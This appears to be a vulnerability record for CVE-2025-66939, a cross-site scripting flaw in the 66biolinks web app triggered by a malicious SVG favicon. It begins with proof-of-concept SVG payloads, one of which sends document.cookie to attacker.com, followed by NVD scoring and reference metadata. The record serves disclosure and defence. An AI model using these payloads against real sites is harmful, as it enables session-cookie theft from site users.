CVE-2025-66939

<!-- CVE-2025-66939 PoC: Malicious Favicon for 66biolinks XSS --> <!-- Save this as malicious_favicon.svg and upload as favicon --> <svg xmlns="http://www.w3.org/2000/svg" onload="javascript:alert(document.cookie)"> <circle cx="100" cy="100" r="80" fill="red"/> </svg> <!-- Alternative PoC with external script injection --> <!-- <svg xmlns="http://www.w3.org/2000/svg"> <script>document.location='https://attacker.com/steal?c='+encodeURIComponent(document.cookie)</script> </svg> -->

{"cve": {"id": "CVE-2025-66939", "sourceIdentifier": "[email protected]", "published": "2026-01-12T16:16:04.287", "lastModified": "2026-01-22T21:56:01.313", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross Site Scripting vulnerability in 66biolinks by AltumCode v.61.0.1 allows an attacker to execute arbitrary code via a crafted favicon file"}, {"lang": "es", "value": "Vulnerabilidad de Cross Site Scripting en 66biolinks de AltumCode v.61.0.1 permite a un atacante ejecutar código arbitrario a través de un archivo favicon manipulado."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:altumcode:66biolinks:61.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "0DA617A8-A4F1-48B8-9F09-AC094682B533"}]}]}], "references": [{"url": "https://66biolinks.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gist.github.com/Waqar-Arain/2a21b135a04e7804c124688ea1085875", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}